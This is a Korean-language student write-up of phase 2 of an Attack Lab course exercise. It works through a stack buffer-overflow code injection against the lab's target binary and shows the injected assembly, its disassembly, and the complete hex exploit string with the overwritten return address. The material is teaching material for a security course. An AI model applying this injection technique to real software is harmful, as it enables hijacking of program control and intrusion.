Lab3: Attacklab (phase 2)
Overview
(gdb) disas touch2
touch2 함수의 구성을 살펴보자.
touch2 함수는 argument 하나를 %rdi를 통해 받는다.
<+16>에서 %edi와 cookie값을 비교하며, 두 값은 같아야 한다.
Buffer의 크기 등은 phase 1과 같다.
그럼 동일하게 buffer overflow를 발생시키고 touch2의 주소로 덮어씌우되, 그 전에 %rdi에 cookie값을 넣어주어야 한다.
Code Injection
Buffer의 크기는 24B, char로 24자리. getbuf에서는 입력한 string의 각 char를 buffer의 가장 바닥부터 채운다.
getbuf에서 ret가 실행되면 buffer 위에 있는 return address로 이동하여 해당 위치부터 instruction을 읽어나가며 실행한다.
앞선 phase 1에서는 단순히 return address만 touch1 함수의 address로 바꿔주면 되었으므로
임의의 char 24자리 + touch1 함수의 address를 ascii 변환한 string을 입력해주었다.
하지만 phase 2에서는 똑같은 방법을 쓸 수 없다. touch2 함수로 바로 이동하게 되면 %edi에 cookie값이 들어있지 않다.
따라서 buffer를 채울 char를 임의의 24자리가 아닌 특정 instruction으로 채우고,
Return address를 우리가 채운 instruction의 address가 되도록 덮어씌운다.
먼저 assembly code를 작성하고 .s 파일로 저장하자.
push $0x4018f5
mov $0x00000000, %rdi
ret
0x4018f5는 touch2 함수의 address로, 해당 값을 push해두고 ret하면 touch2 함수로 이동한다.
cookie값은 attacklab을 내려받을 때 개인에게 부여되는 값으로, 위의 0x00000000 위치에 자신의 cookie값을 넣으면 된다.
gcc -c 2asm.s
objdump -d 2asm.o > 2asm.d
Assembler로 2asm.s 파일을 object program (.o) 파일로 assemble한다.
그 후 2asm.o 파일을 disassemble하여 우리에게 익숙한 form으로 만든다. 아래는 2asm.d 파일의 내용이다.
2asm.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 f5 18 40 00 pushq $0x4018f5
5: 48 c7 c7 01 63 04 32 mov $0x32046301,%rdi
c: c3 retq
해당 instruction으로 input string 24자리의 앞부분을 채우고, 나머지는 00으로 채운다.
Instruction의 시작 위치를 24자리 뒤에 오는 return address로 두면
68 f5 18 40 00 48 c7 c7 01 63 04 32 c3 00 00 00 00 00 00 00 00 00 00 00 98 94 66 55 이 된다.
Buffer의 시작 주소인 0x55669498은 getbuf 마지막 ret 실행 직전 %rsp에서 buffer의 길이인 24를 빼서 구했다.
Phase 1과 같이 위의 ascii code를 hex2raw를 사용하여 string으로 변환하고, raw file 그대로 입력하면 성공.